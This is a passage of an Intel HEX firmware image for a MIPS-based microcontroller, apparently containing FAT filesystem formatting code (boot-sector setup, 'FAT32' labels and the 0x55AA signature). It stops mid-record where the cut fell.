n:10a37000000000001000c28fcd0143882120600042\n:10a38000ca014498211080003000c2af3000c28f53\n:10a390003910422c59004010000000002400c28fe8\n:10a3a00001000324240043a01000c28f01000324f5\n:10a3b000c20143a02120000000a0023c000445246b\n:10a3c000010006249ad8400f000000000600401447\n:10a3d0000000000009000224348182a3ffff022450\n:10a3e000122f400b000000003000c28f2810422cba\n:10a3f00006004014000000002400c28f0200032465\n:10a40000230043a00629400b000000002400c28f57\n:10a4100001000324230043a000a0023c00044424c4\n:10a4200021280000000206247152410f00000000a4\n:10a4300000a0023c00044224320003243a0043a05e\n:10a440002400c28f230042904010020021184000d7\n:10a450003000c28f21106200dfff42241c00c2af17\n:10a460002400c28f23004290211840002110600078\n:10a470008010020080200200211044000021020010\n:10a480002110440021104300020042243400c2afd6\n:10a490003400c38f1c00c28f21106200ffff4324d1\n:10a4a0003400c28f1b006200f40140001010000055\n:10a4b000122800001c00c5af2400c28f0200032434\n:10a4c000220043a02400c28f140043900000633098\n:10a4d000140043a015004390000063300200633471\n:10a4e000150043a02400c28f1c00c38f210043a885\n:10a4f0001e0043b8042a400b000000003000c38f48\n:10a500003f00023c60fd42342b10620066004010a8\n:10a51000000000002400c28f02000324240043a096\n:10a520001000c28f06000324c20143a021200000b6\n:10a5300000a0023c00044524010006249ad8400fe4\n:10a540000000000006004014000000000900022482\n:10a55000348182a3ffff0224122f400b0000000071\n:10a560003000c28fe8fd42241400c2af2400c28f25\n:10a5700001000324230043a06929400b00000000d0\n:10a580002400c28f2300429040100200ff0043309d\n:10a590002400c28f230043a01400c28f4210020087\n:10a5a0001400c2af1400c38feeff02342b10620000\n:10a5b000f3ff4010000000002400c28f23004290ef\n:10a5c0008100422c06004014000000000400022418\n:10a5d000348182a3ffff0224122f400b00000000f1\n:10a5e00000a0023c000444242128000000020624ac\n:10a5f0007152410f0000000000a0023c0004422400\n:10a60000360003243a0043a02400c28f2300429066\n:10a6100040100200211840003000c28f211062005b\n:10a62000dfff42241c00c2af2400c28f23004290ef\n:10a6300000120200020042243400c2af3400c38f73\n:10a640001c00c28f21106200ffff43243400c28f20\n:10a650001b006200f40140001010000012300000e6\n:10a660001c00c6af2400c28f02000324220043a0b6\n:10a670002400c28f1400439000006330140043a0f4\n:10a68000150043900000633002006334150043a0be\n:10a690002400c28f1c00c38f210043a81e0043b8b2\n:10a6a000042a400b000000002400c28f0300032492\n:10a6b000240043a01000c28f0b000324c20143a05a\n:10a6c0002120000000a0023c0004452401000624d3\n:10a6d0009ad8400f0000000006004014000000005f\n:10a6e00009000224348182a3ffff0224122f400bb1\n:10a6f000000000003000c28f1400c2af2400c28fdf\n:10a7000001000324230043a0cd29400b00000000da\n:10a710002400c28f2300429040100200ff0043300b\n:10a720002400c28f230043a01400c28f42100200f5\n:10a730001400c2af1400c38f3f00023cffbf42347d\n:10a740002b106200f2ff4010000000002400c28fb6\n:10a75000230042908100422c0600401400000000bb\n:10a7600004000224348182a3ffff0224122f400b35\n:10a770000000000000a0023c000444242128000046\n:10a78000000206247152410f000000003000c28f09\n:10a79000e0ff42241c00c2af2400c28f230042907d\n:10a7a000c0110200010042243400c2af3400c38f44\n:10a7b0001c00c28f21106200ffff43243400c28faf\n:10a7c0001b006200f4014000101000001210000095\n:10a7d0001c00c2af2400c28f02000324220043a049\n:10a7e0002400c28f1400439000006330140043a083\n:10a7f000150043900000633002006334150043a04d\n:10a800002400c28f1c00c38f210043a81e0043b840\n:10a8100000a0023cebff0324000443a000a0023c84\n:10a82000000442243c000324010043a000a0023c99\n:10a830000004422490ff0324020043a000a0023c35\n:10a84000000442244d000324030043a000a0023c66\n:10a850000004422443000324040043a000a0023c5f\n:10a860000004422448000324050043a000a0023c49\n:10a870000004422450000324060043a000a0023c30\n:10a880000004422420000324070043a000a0023c4f\n:10a890000004422446000324080043a000a0023c18\n:10a8a0000004422441000324090043a000a0023c0c\n:10a8b00000044224540003240a0043a000a0023ce8\n:10a8c000000442240b0040a000a0023c00044224eb\n:10a8d000020003240c0043a02400c28f23004390f5\n:10a8e00000a0023c000442240d0043a02400c28fbb\n:10a8f00024004390010002240600621000000000c2\n:10a900002400c28f24004390020002240701621435\n:10a910000000000000a0023c0004422408000324c0\n:10a920000e0043a000a0023c000442240f0040a0ff\n:10a930002400c28f0700438821206000040044984f\n:10a9400021108000080043242400c28f0b0043a87c\n:10a95000080043b800a0023c000442240200032483\n:10a96000100043a000a0023c00044224110040a0bb\n:10a9700000a0023c0004422402000324120043a071\n:10a9800000a0023c00044224130040a000a0023cae\n:10a9900000044224140040a000a0023c0004422411\n:10a9a000f8ff0324150043a01c00c28fff004330b2\n:10a9b00000a0023c00044224160043a01c00c28fe9\n:10a9c00002120200ff00433000a0023c00044224b7\n:10a9d000170043a000a0023c000442243f000324cf\n:10a9e000180043a000a0023c00044224190040a02b\n:10a9f00000a0023c00044224ffff03241a0043a0ed\n:10aa000000a0023c000442241b0040a02400c28f8e\n:10aa10000700438821286000040045982110a00009\n:10aa2000ff00433000a0023c000442241c0043a06d\n:10aa30002400c28f0700438821306000040046983c\n:10aa40002110c00002120200ff00433000a0023caf\n:10aa5000000442241d0043a02400c28f0700438845\n:10aa6000212060000400449821108000021402009c\n:10aa7000ff00433000a0023c000442241e0043a01b\n:10aa80002400c28f070043882128600004004598f5\n:10aa90002110a00002160200ff00433000a0023c7b\n:10aaa000000442241f0043a03000c28fff00433047\n:10aab00000a0023c00044224200043a03000c28fca\n:10aac00002120200ff00433000a0023c00044224b6\n:10aad000210043a03000c28f02140200ff00433067\n:10aae00000a0023c00044224220043a03000c28f98\n:10aaf00002160200ff00433000a0023c0004422482\n:10ab0000230043a000a0023c00044224240040a0f3\n:10ab100000a0023c00044224250040a000a0023c0a\n:10ab20000004422429000324260043a07400c28f9d\n:10ab3000ff00433000a0023c00044224270043a051\n:10ab40007400c28fff004324000044280b106400ef\n:10ab500003120200ff00433000a0023c0004422424\n:10ab6000280043a07400c28fffff03342118430064\n:10ab7000000044280b10640003140200ff0043305f\n:10ab800000a0023c00044224290043a07400c28fac\n:10ab9000ff00033cffff63342118430000004428fa\n:10aba0000b10640003160200ff00433000a0023cbb\n:10abb000000442242a0043a07800c28f2d004010d8\n:10abc000000000002000c0af022b400b000000007e\n:10abd0002000c28f2b0044247800c38f2000c28f36\n:10abe0002110620000004280ff00433000a0023cc0\n:10abf0000004422421108200000043a02000c28fe4\n:10ac0000010042242000c2af7800c38f2000c28f11\n:10ac1000211062000000428005004010000000008a\n:10ac20002000c28f0b00422ce9ff401400000000fe\n:10ac3000172b400b000000002000c28f01004324ae\n:10ac40002000c3af2b00432400a0023c0004422498\n:10ac50002110620020000324000043a02000c28fc6\n:10ac60000b00422cf4ff4014000000002d2b400b81\n:10ac7000000000002000c0af292b400b00000000a6\n:10ac80002000c28f2b00432400a0023c0004422479\n:10ac900021106200000040a02000c28f0100422469\n:10aca0002000c2af2000c28f0b00422cf4ff4014e2\n:10acb0000000000000a0023c0004422446000324df\n:10acc000360043a000a0023c0004422441000324bb\n:10acd000370043a000a0023c000442245400032497\n:10ace000380043a000a0023c0004422431000324a9\n:10acf000390043a000a0023c0004422420000324a9\n:10ad00003b0043a000a0023c000442242000032496\n:10ad10003c0043a000a0023c000442242000032485\n:10ad20003d0043a0ae2c400b0000000000a0023c00\n:10ad300000044224200003240e0043a000a0023c93\n:10ad4000000442240f0040a02400c28f0700438863\n:10ad500021306000040046982110c00020004324e8\n:10ad60002400c28f0b0043a8080043b800a0023c97\n:10ad70000004422402000324100043a000a0023c6f\n:10ad800000044224110040a000a0023c0004422420\n:10ad9000120040a000a0023c00044224130040a086\n:10ada00000a0023c00044224140040a000a0023c89\n:10adb00000044224f8ff0324150043a000a0023c35\n:10adc00000044224160040a000a0023c00044224db\n:10add000170040a000a0023c000442243f000324ce\n:10ade000180043a000a0023c00044224190040a027\n:10adf00000a0023c00044224ffff03241a0043a0e9\n:10ae000000a0023c000442241b0040a02400c28f8a\n:10ae1000070043882120600004004498211080002e\n:10ae2000ff00433000a0023c000442241c0043a069\n:10ae30002400c28f07004388212860000400459841\n:10ae40002110a00002120200ff00433000a0023ccb\n:10ae5000000442241d0043a02400c28f0700438841\n:10ae600021306000040046982110c0000214020046\n:10ae7000ff00433000a0023c000442241e0043a017\n:10ae80002400c28f070043882120600004004498fa\n:10ae90002110800002160200ff00433000a0023c97\n:10aea000000442241f0043a03000c28fff00433043\n:10aeb00000a0023c00044224200043a03000c28fc6\n:10aec00002120200ff00433000a0023c00044224b2\n:10aed000210043a03000c28f02140200ff00433063\n:10aee00000a0023c00044224220043a03000c28f94\n:10aef00002160200ff00433000a0023c000442247e\n:10af0000230043a01c00c28fff00433000a0023c7e\n:10af100000044224240043a01c00c28f021202003d\n:10af2000ff00433000a0023c00044224250043a05f\n:10af30001c00c28f02140200ff00433000a0023c3c\n:10af400000044224260043a01c00c28f0216020007\n:10af5000ff00433000a0023c00044224270043a02d\n:10af600000a0023c00044224280040a000a0023cb3\n:10af700000044224290040a000a0023c0004422416\n:10af80002a0040a000a0023c000442242b0040a064\n:10af900000a0023c00044224020003242c0043a031\n:10afa00000a0023c000442242d0040a000a0023c6e\n:10afb000000442242e0040a000a0023c00044224d1\n:10afc0002f0040a000a0023c000442240100032402\n:10afd000300043a000a0023c00044224310040a005\n:10afe00000a0023c00044224320040a000a0023c29\n:10aff00000044224330040a000a0023c000442248c\n:10b00000340040a000a0023c00044224350040a0cf\n:10b0100000a0023c00044224360040a000a0023cf4\n:10b0200000044224370040a000a0023c0004422457\n:10b03000380040a000a0023c00044224390040a097\n:10b0400000a0023c000442243a0040a000a0023cc0\n:10b05000000442243b0040a000a0023c0004422423\n:10b060003c0040a000a0023c000442243d0040a05f\n:10b0700000a0023c000442243e0040a000a0023c8c\n:10b08000000442243f0040a000a0023c00044224ef\n:10b09000400040a000a0023c00044224410040a027\n:10b0a00000a0023c0004422429000324420043a0e3\n:10b0b0007400c28fff00433000a0023c0004422411\n:10b0c000430043a07400c28fff00432400004428c3\n:10b0d0000b10640003120200ff00433000a0023c8a\n:10b0e00000044224440043a07400c28fffff0334d5\n:10b0f00021184300000044280b10640003140200d0\n:10b10000ff00433000a0023c00044224450043a05d\n:10b110007400c28fff00033cffff6334211843001b\n:10b12000000044280b10640003160200ff004330a7\n:10b1300000a0023c00044224460043a07800c28fd5\n:10b140002d004010000000002000c0af632c400b19\n:10b15000000000002000c28f470044247800c38f05\n:10b160002000c28f2110620000004280ff004330a7\n:10b1700000a0023c0004422421108200000043a0f1\n:10b180002000c28f010042242000c2af7800c38f8c\n:10b190002000c28f21106200000042800500401094\n:10b1a000000000002000c28f0b00422ce9ff401479\n:10b1b00000000000782c400b000000002000c28f2f\n:10b1c000010043242000c3af4700432400a0023cf9\n:10b1d000000442242110620020000324000043a048\n:10b1e0002000c28f0b00422cf4ff4014000000002e\n:10b1f0008e2c400b000000002000c0af8a2c400bba\n:10b20000000000002000c28f4700432400a0023c41\n:10b210000004422421106200000040a02000c28fe0\n:10b22000010042242000c2af2000c28f0b00422c3c\n:10b23000f4ff40140000000000a0023c000442247f\n:10b2400046000324520043a000a0023c0004422414\n:10b2500041000324530043a000a0023c0004422408\n:10b2600054000324540043a000a0023c00044224e4\n:10b2700033000324550043a000a0023c00044224f4\n:10b2800032000324560043a000a0023c00044224e4\n:10b2900020000324570043a000a0023c00044224e5\n:10b2a00020000324580043a000a0023c00044224d4\n:10b2b00020000324590043a000a0023c00044224c3\n:10b2c00055000324fe0143a000a0023c00044224d8\n:10b2d000aaff0324ff0143a02400c28f0b00438870\n:10b2e000080043982400c28f220042902120400091\n:10b2f0002400c28f210045882130a0001e004698fe\n:10b300002110c000180082001210000021186200f5\n:10b310002400c28f0f0043a80c0043b82400c28f42\n:10b320000700438821206000040044982110800019\n:10b330002120400000a0023c0004452421300000f0\n:10b340009ad8400f000000000600401400000000e2\n:10b3500009000224348182a3ffff0224122f400b34\n:10b3600000000000ec2c400b000000002400c48f03\n:10b370000e25400f000000000600401000000000f5\n:10b380001b000224348182a3ffff0224122f400bf2\n:10b3900000000000ec2c400b000000001f00022405\n:10b3a000348182a3ffff0224122f400b0000000013\n:10b3b00000a0023c000444242128000000020624ce\n:10b3c0007152410f000000002400c28f24004390fe\n:10b3d000030002240e0162140000000000a0023ce1\n:10b3e000f8ff0324000443a000a0023c0004422410\n:10b3f000ffff0324010043a000a0023c00044224fc\n:10b40000ffff0324020043a000a0023c00044224ea\n:10b41000ffff0324030043a000a0023c00044224d9\n:10b42000040040a000a0023c00044224050040a00b\n:10b4300000a0023c00044224060040a000a0023c00\n:10b44000000442240c000324070043a000a0023c97\n:10b4500000044224ffff0324080043a000a0023c94\n:10b4600000044224ffff0324090043a000a0023c83\n:10b4700000044224ffff03240a0043a000a0023c72\n:10b4800000044224ffff03240b0043a02400c28fca\n:10b4900022004290ffff42241800c2a7432d400b18\n:10b4a000000000002400c28f0b004388080043986e\n:10b4b0001800c4972400c28f210045882130a000c5\n:10b4c0001e0046982110c0001800820012200000c3\n:10b4d000211064002120400000a0023c000445240b\n:10b4e000213000009ad8400f0000000004004014f2\n:10b4f00000000000ffff0224122f400b000000009c\n:10b500001800c297ffff42241800c2a71800c39773\n:10b51000ffff0234e3ff62140000000000a0023cc1\n:10b5200000044424212800000c0006247152410f1d\n:10b53000000000002400c28f0b0043882128600017\n:10b54000080045982110a000010042242000c2af4d\n:10b550007b2d400b000000002400c28f220042908f\n:10b56000ffff42241800c2a7742d400b000000000a\n:10b570001800c3972400c28f210044882130800026\n:10b580001e0046982110c000180062002000c28fe3\n:10b5900012180000211062002120400000a0023c8f\n:10b5a00000044524213000009ad8400f000000001c\n:10b5b0000400401400000000ffff0224122f400b83\n:10b5c000000000001800c297ffff42241800c2a725\n:10b5d0001800c397ffff0234e5ff6214000000006b\n:10b5e0002000c28f010042242000c2af2400c28f7d\n:10b5f0000b004388080043982400c28f2100448830\n:10b60000212880001e0045982110a000211862000a\n:10b610002000c28f2b104300cfff40140000000019\n:10b62000010002242000c2af9f2d400b000000004b\n:10b630002400c28f0f0043880c0043982000c28f63\n:10b64000211062002120400000a0023c000445249b\n:10b65000213000009ad8400f000000000400401480\n:10b6600000000000ffff0224122f400b000000002a\n:10b670002000c28f010042242000c2af2400c28fec\n:10b6800023004290211840002000c28f2b1043005d\n:10b69000e7ff4014000000007800c28f490040100e\n:10b6a000000000002000c0afb92d400b00000000da\n:10b6b0007800c38f2000c28f2110620000004280fa\n:10b6c000ff00433000a0023c000444242000c28f4d\n:10b6d00021108200000043a02000c28f01004224fc\n:10b6e0002000c2af7800c38f2000c28f21106200fb\n:10b6f0000000428005004010000000002000c28fc2\n:10b700000b00422ceaff401400000000cd2d400b3e\n:10b71000000000002000c28f010043242000c3afbe\n:10b7200000a0033c000463242110430020000324f4\n:10b73000000043a02000c28f0b00422cf5ff4014f4\n:10b740000000000000a0023c000442240800032482\n:10b750000b0043a000a0023c00044224110003247b\n:10b76000110043a000a0023c000442241100032465\n:10b77000130043a000a0023c000442241100032453\n:10b78000170043a02400c28f0f00438821306000bf\n:10b790000c0046982110c0002120400000a0023c6f\n:10b7a00000044524213000009ad8400f000000001a\n:10b7b0001400401400000000ffff0224122f400b71\n:10b7c000000000002400c28f0f0043882120600089\n:10b7d0000c004498211080002120400000a0023c71\n:10b7e00000044524213000009ad8400f00000000da\n:10b7f0000400401400000000ffff0224122f400b41\n:10b800000000000021100000122f400b000000007b\n:10b8100000a0023cf8ff0324000443a000a0023c67\n:10b8200000044224ffff0324010043a000a0023cc7\n:10b8300000044224ffff0324020043a02400c28f1f\n:10b84000240043900200022405006214000000005e\n:10b8500000a0023c00044224ffff0324030043a095\n:10b860002400c28f22004290ffff42241800c2a78a\n:10b87000382e400b000000002400c28f0b004388cc\n:10b88000080043981800c4972400c28f21004588ff\n:10b890002130a0001e0046982110c0001800820030\n:10b8a00012200000211064002120400000a0023c72\n:10b8b00000044524213000009ad8400f0000000009\n:10b8c0000400401400000000ffff0224122f400b70\n:10b8d000000000001800c297ffff42241800c2a712\n:10b8e0001800c397ffff0234e3ff6214000000005a\n:10b8f00000a0023c00044424212800000400062487\n:10b900007152410f000000002400c28f0b004388d9\n:10b9100021286000080045982110a0000100422461\n:10b920002000c2af702e400b000000002400c28f28\n:10b9300022004290ffff42241800c2a7692e400b4c\n:10b94000000000001800c3972400c28f2100448823\n:10b95000213080001e0046982110c00018006200af\n:10b960002000c28f12180000211062002120400028\n:10b9700000a0023c00044524213000009ad8400f6a\n:10b98000000000000400401400000000ffff02243b\n:10b99000122f400b000000001800c297ffff422446\n:10b9a0001800c2a71800c397ffff0234e5ff621416\n:10b9b000000000002000c28f010042242000c2af1e\n:10b9c0002400c28f0b004388080043982400c28fd4\n:10b9d00021004488212880001e0045982110a000e5\n:10b9e000211862002000c28f2b104300cfff4014ab\n:10b9f000000000002400c28f000203241d0043a8a1\n:10ba00001a0043b82400c28f1400439015004290de\n:10ba10000012020025104300ffff423040110200d7\n:10ba2000211840002400c28f1d004488213080006e\n:10ba30001a0046982110c00021106200ffff432425\n:10ba40002400c28f1d004488212880001a004598d8\n:10ba50002110a0001b006200f40140001010000043\n:10ba6000123000003800c6af010002242000c2af2f\n:10ba7000b12e400b000000002400c28f0f0043884d\n:10ba80000c0043982000c28f21106200212040004a\n:10ba900000a0023c00044524213000009ad8400f49\n:10baa000000000000400401400000000ffff02241a\n:10bab000122f400b000000002000c28f0100422422\n:10bac0002000c2af2000c38f3800c28f2b1062004d\n:10bad000e9ff4014000000007800c28f49004010c8\n:10bae000000000002000c0afc92e400b0000000085\n:10baf0007800c38f2000c28f2110620000004280b6\n:10bb0000ff00433000a0023c000444242000c28f08\n:10bb100021108200000043a02000c28f01004224b7\n:10bb20002000c2af7800c38f2000c28f21106200b6\n:10bb30000000428005004010000000002000c28f7d\n:10bb40000b00422ceaff401400000000dd2e400be9\n:10bb5000000000002000c28f010043242000c3af7a\n:10bb600000a0033c000463242110430020000324b0\n:10bb7000000043a02000c28f0b00422cf5ff4014b0\n:10bb80000000000000a0023c00044224080003243e\n:10bb90000b0043a000a0023c000442241100032437\n:10bba000110043a000a0023c000442241100032421\n:10bbb000130043a000a0023c00044224110003240f\n:10bbc000170043a02400c28f0f004388212060008b\n:10bbd0000c004498211080002120400000a0023c6d\n:10bbe00000044524213000009ad8400f00000000d6\n:10bbf0001400401400000000ffff0224122f400b2d\n:10bc0000000000002400c28f0f004388212860003c\n:10bc10000c0045982110a0002120400000a0023c0b\n:10bc200000044524213000009ad8400f0000000095\n:10bc30000400401400000000ffff0224122f400bfc\n:10bc4000000000002110000021e8c0036c00bf8f3d\n:10bc50006800be8f7000bd270800e00300000000f0\n:10bc6000d8ffbd272400bfaf2000beaf21f0a00346\n:10bc70002800c4af2c00c5af2800c28f0000428c42\n:10bc80001400c2af2800c28f4000428c1800c2af1f\n:10bc90002c00c28f00004294211840001400c28f73\n:10bca0001d004488212880001a0045982110a0001a\n:10bcb000421102001b006200f4014000101000005d\n:10bcc000121000001100c2a31400c28f2400429081\n:10bcd000010043281e0060140000000003004328f8\n:10bce0000d0060140000000003000324180043143a\n:10bcf000000000001400c28f230042901100c39383\n:10bd00001b006200f4014000101000001100c2a3eb\n:10bd1000542f400b000000002481828f1800c38f35\n:10bd20000a006210000000001400c28f230042903d\n:10bd30001100c3931b006200f401400010100000ca\n:10bd40001100c2a3532f400b0000000000000000b0\n:10bd50001400c48f1800c58f6d3f400f0000000015\n:10bd60001c00c2af1100c3931c00c28f21186200d7\n:10bd70001400c28f030044882128800000004598e9\n:10bd80002110a00021206000212840002130000067\n:10bd90009ad8400f0000000004004014000000008a\n:10bda0001000c0a36d2f400b000000000100022412\n:10bdb0001000c2a31000c29321e8c0032400bf8f6b\n:10bdc0002000be8f2800bd270800e003000000000f\n:10bdd000d8ffbd272400bfaf2000beaf21f0a003d5\n:10bde0002800c4af2c00c5af1800c0af2c00c28f14\n:10bdf00024004290010003240c00431000000000c6\n:10be0000030003240f00431400000000ff0f023c56\n:10be1000ffff42341400c2afff0f023cf8ff423470\n:10be20001000c2af962f400b00000000ffff02344d\n:10be30001400c2aff80f02241000c2af962f400bbf\n:10be400000000000ffff02341400c2aff8ff02340c\n:10be50001000c2af000000002800c28f0500401093\n:10be6000000000002800c38f0100022405006214b6\n:10be700000000000020002241800c2afd32f400bc4\n:10be800000000000d02f400b000000002c00c48fe9\n:10be90002800c58f8f49400f000000001c00c2af72\n:10bea0001c00c38f1400c28f050062140000000044\n:10beb000010002241800c2afd02f400b0000000088\n:10bec0001c00c28f05004010000000001c00c38f42\n:10bed0000100022405006214000000000200022498\n:10bee0001800c2afd02f400b000000001c00c38f11\n:10bef0001000c28f2b1062000300401400000000ed\n:10bf0000020002241800c2af2c00c48f2800c58f85\n:10bf10002130000021380000c64a400f0000000018\n:10bf2000211840001400c28f0300621400000000ba\n:10bf3000010002241800c2af1c00c28f2800c2af4b\n:10bf40001800c28fd1ff4010000000002c00c48fe9\n:10bf5000212800002130000001000724c64a400fbc\n:10bf6000000000001800c38f0200022404006214c5\n:10bf70000000000001000224e12f400b000000003f\n:10bf80002110000021e8c0032400bf8f2000be8fd5\n:10bf90002800bd270800e00300000000c8ffbd27ff\n:10bfa0003400bfaf3000beaf21f0a0033800c4aff3\n:10bfb0003c00c5af2110c0004000c2a33800c28fb2\n:10bfc0000000428c2000c2af3800c28f3c00428c7f\n:10bfd0002400c2af3800c28f4000428c1800c2afac\n:10bfe0002000c28f1d004388212060001a00449861\n:10bff00021108000421102002800c2a33c00c28f21\n:10c0000000004294211840002800c2931a006200e8\n:10c01000f401400010100000121000001c00c2a328\n:10c020002000c28f24004290211840000300022407\n:10c030000d006214000000002000c28f2300429017\n:10c040001c00c3931b006200f401400010100000ac\n:10c050001c00c2a3ff0f023cf8ff42341400c2af21\n:10c060002730400b000000002400c28f0800401061\n:10c07000000000002000c28f230042901c00c393e8\n:10c080001b006200f4014000101000001c00c2a35d\n:10c09000f8ff02341400c2af000000004000c29359\n:10c0a00006004014000000003c00c28f00004294d3\n:10c0b0000f004230a4004014000000001c00c29396\n:10c0c00008004014000000003c00c28f00004394b0\n:10c0d0002800c293ffff42302b1062000400401082\n:10c0e000000000004000c29331004010000000003a\n:10c0f0002400c28f04004014000000001800c0afec\n:10c100006c30400b000000004000c2931200401051\n:10c11000000000003c00c28f000043942800c2933e\n:10c12000ffff44302000c28f23004290180082009d\n:10c1300012280000ffffa2301b006200f401400043\n:10c140001010000012180000ffff62301d00c2a393\n:10c150006930400b00000000010002241d00c2a352\n:10c160006930400b000000002000c48f1800c58f0c\n:10c170008f49400f000000001800c2af1800c38fa5\n:10c180001400c28f2b106200030040140000000056\n:10c190006c30400b000000001d00c293ffff4224e2\n:10c1a0001d00c2a31d00c293efff40140000000059\n:10c1b0001800c38f1400c28f2b1062005b00401068\n:10c1c000000000003800c28f1800c38f400043ac4d\n:10c1d0002000c48f1800c58f6d3f400f0000000085\n:10c1e0002c00c2af2481828f1800c38f1400621408\n:10c1f000000000001c00c3932c00c28f21186200b5\n:10c200002000c28f13004488212880001000459828\n:10c210002110a0002b106200090040140000000053\n:10c220002000c28f24004390030002240400621007\n:10c23000000000001000c0afd030400b0000000034\n:10c240004480829308004010000000003241400ffb\n:10c250000000000004004010000000002110000059\n:10c26000e030400b00000000408080af468080a39b\n:10c270001c00c3932c00c28f211862002000c28fc3\n:10c280000300448821288000000045982110a00068\n:10c290002120600021284000e5d5400f000000006b\n:10c2a0002118400001000224040062100000000078\n:10c2b0001000c0afc730400b000000004000c29328\n:10c2c00010004010000000002000c28f03004388cf\n:10c2d000000043983c00c28f00004294212040009f\n:10c2e0002800c2931a008200f401400010100000e0\n:10c2f00040110200211062001000c2afc730400b95\n:10c30000000000002000c28f03004388212060004d\n:10c3100000004498211080001000c2afffff0224eb\n:10c32000088082afd030400b0000000001000224e2\n:10c33000458082a31000c0afdf30400b000000003a\n:10c34000df30400b000000002000c28f0300438854\n:10c35000000043983c00c28f00004294212040001e\n:10c360002800c2931a008200f4014000101000005f\n:10c3700040110200211062001000c2af1000c28ff5\n:10c3800021e8c0033400bf8f3000be8f3800bd27c6\n:10c390000800e00300000000a0ffbd275c00bfaf65\n:10c3a0005800beaf21f0a0036000c4af6400c5af69\n:10c3b0002110c0006c00c7af6800c2a31000c0af5e\n:10c3c0006000c28f3000428c2800c2af01000224fe\n:10c3d0001800c2af348180a36400c28f000040a463\n:10c3e0006000c48f6400c58fc232400f000000009f\n:10c3f00081014014000000006000c28f34004294ac\n:10c400006a014010000000006000c48fee33400f4e\n:10c410000000000008004014000000001100022489\n:10c42000348182a3110002241000c2af1000c28f19\n:10c430008432400b000000006000c28f20004224c4\n:10c440002400c2af1c00c0a30b0002242000c2a322\n:10c450002d31400b000000001c00c293010042304f\n:10c460000400401000000000800002241e31400b38\n:10c4700000000000211000001c00c39342180300bc\n:10c48000ff00633021104300ff0043302400c28fbf\n:10c49000010044242400c4af00004280ff00423069\n:10c4a000211062001c00c2a32000c283ffff4224af\n:10c4b0002000c2a32000c283e7ff40140000000058\n:10c4c0006000c28f34004294108182a7108184974b\n:10c4d000c44e023c4fec42341900820010100000a0\n:10c4e000822802002118a0008010030021184000bb\n:10c4f0008010030023104300211045002310820008\n:10c50000ffff42301e00c2a31e00c2932c00c2a334\n:10c5100010818397c44e023c4fec423419006200f4\n:10c520001010000082100200ffff42301f00c2a363\n:10c530001e00c29305004014000000001081829785\n:10c540000d00422c04004010000000001f00c293a8\n:10c55000010042241f00c2a31f00c29340004234c6\n:10c560001d00c2a31e00c293330040100000000053\n:10c570002000c0a37231400b000000002000c283e5\n:10c58000010043242000c3a3ff00423010818397a1\n:10c59000212060001e00c39323188300401803006d\n:10c5a0002800c48f2118830000006394401002000b\n:10c5b0001000c42721108200240043a41e00c2934f\n:10c5c000ffff42241e00c2a31e00c293ebff4014d3\n:10c5d000000000002000c283010043242000c3a308\n:10c5e000ff004230401002001000c32721106200fb\n:10c5f000240040a48831400b000000002000c293ba\n:10c60000401002001000c32721106200ffff032426\n:10c61000240043a42000c283010042242000c2a3be\n:10c620002000c2830d004228f4ff401400000000e7\n:10c63000a731400b000000000d0002242000c2a31f\n:10c64000a431400b000000002000c2930d00032421\n:10c650002310620010818397212060002000c39383\n:10c6600023188300401803002800c48f211883007a\n:10c6700000006394401002001000c42721108200c3\n:10c68000240043a42000c283ffff42242000c2a351\n:10c690002000c283ecff401c000000003400c227d1\n:10c6a000180042241400c2af6832400b00000000a2\n:10c6b0006000c28f3c00438c6000c28f400043acde\n:10c6c0006000c48f6400c58f01000624e72f400f6f\n:10c6d000000000003000c2af3000c28f04004014e0\n:10c6e000000000001b0002248432400b0000000008\n:10c6f0001d00c293ffff43241d00c3a33000c38f5e\n:10c70000000062a01400c28ffeff43241400c3afd8\n:10c71000000043943000c28f1e0043a41400c28f57\n:10c72000feff43241400c3af000043943000c28fc7\n:10c730001c0043a41400c28ffeff43241400c3afa7\n:10c74000000043943000c28f180043a41400c28f2d\n:10c75000feff43241400c3af000043943000c28f97\n:10c76000160043a41400c28ffeff43241400c3af7d\n:10c77000000043943000c28f140043a41400c28f01\n:10c78000feff43241400c3af000043943000c28f67\n:10c79000120043a41400c28ffeff43241400c3af51\n:10c7a000000043943000c28f100043a41400c28fd5\n:10c7b000feff43241400c3af000043943000c28f37\n:10c7c0000e0043a41400c28ffeff43241400c3af25\n:10c7d000000042945000c2a75100c3933000c28fa2\n:10c7e0000a0043a05000c3933000c28f090043a049\n:10c7f0001400c28ffeff43241400c3af0000429414\n:10c800005000c2a75100c3933000c28f080043a05c\n:10c810005000c3933000c28f070043a01400c28fa2\n:10c82000feff43241400c3af000042945000c2a78f\n:10c830005100c3933000c28f060043a05000c39341\n:10c840003000c28f050043a01400c28ffeff4324b6\n:10c850001400c3af000042945000c2a75100c3931c\n:10c860003000c28f040043a05000c3933000c28f39\n:10c87000030043a01400c28ffeff43241400c3af83\n:10c88000000042945000c2a75100c3933000c28ff1\n:10c89000020043a05000c3933000c28f010043a0a8\n:10c8a0003000c28f0f0003240b0043a03000c28f62\n:10c8b0000c0040a03000c28f1c00c3930d0043a0a9\n:10c8c0003000c28f1a0040a46000c48f6400c58f7e\n:10c8d000182f400f00000000211840000100022422\n:10c8e0000300621000000000090002241000c2af23\n:10c8f0001d00c393bfff0224241062001d00c2a3c9\n:10c900006400c28f0000429401004224ffff4330c4\n:10c910006400c28f000043a41f00c293ffff4224a3\n:10c920001f00c2a31800c28f1d00401000000000ad\n:10c930002c00c2930f004010000000006000c28f66\n:10c940003000438c10818297212040002c00c2933c\n:10c9500023208200ff7f023cffff4234211082002f\n:10c9600040100200211062001400c2af6732400b79\n:10c97000000000006000c28f3000438c108182975d\n:10c9800021204000ff7f023cf2ff42342110820050\n:10c9900040100200211062001400c2af1800c0afa6\n:10c9a0001f00c29342ff4014000000006800c293c1\n:10c9b0006000c48f6400c58f213040007f33400f7a\n:10c9c000000000001000c2af1000c28f0c00401425\n:10c9d000000000006c00c28f090040100000000041\n:10c9e0006000c48f8a32400f000000001000c2af08\n:10c9f0008032400b00000000140002241000c2af7f\n:10ca00001000c28fff004230348182a31000c28f19\n:10ca100021e8c0035c00bf8f5800be8f6000bd27b7\n:10ca20000800e00300000000d0ffbd272c00bfafce\n:10ca30002800beaf21f0a0033000c4af3000c28f89\n:10ca4000360042942000c2a71c00c2273000c48fc9\n:10ca500021284000633e400f000000001000c2afdc\n:10ca60001000c28f21004014000000002000c227e7\n:10ca70003000c48f212840009139400f0000000091\n:10ca80001400c2af1c00c28fffff43301400c28fde\n:10ca90001a0043a41c00c38fff0f023c2410620045\n:10caa0001800c2af1800c28f021402001800c2aff3\n:10c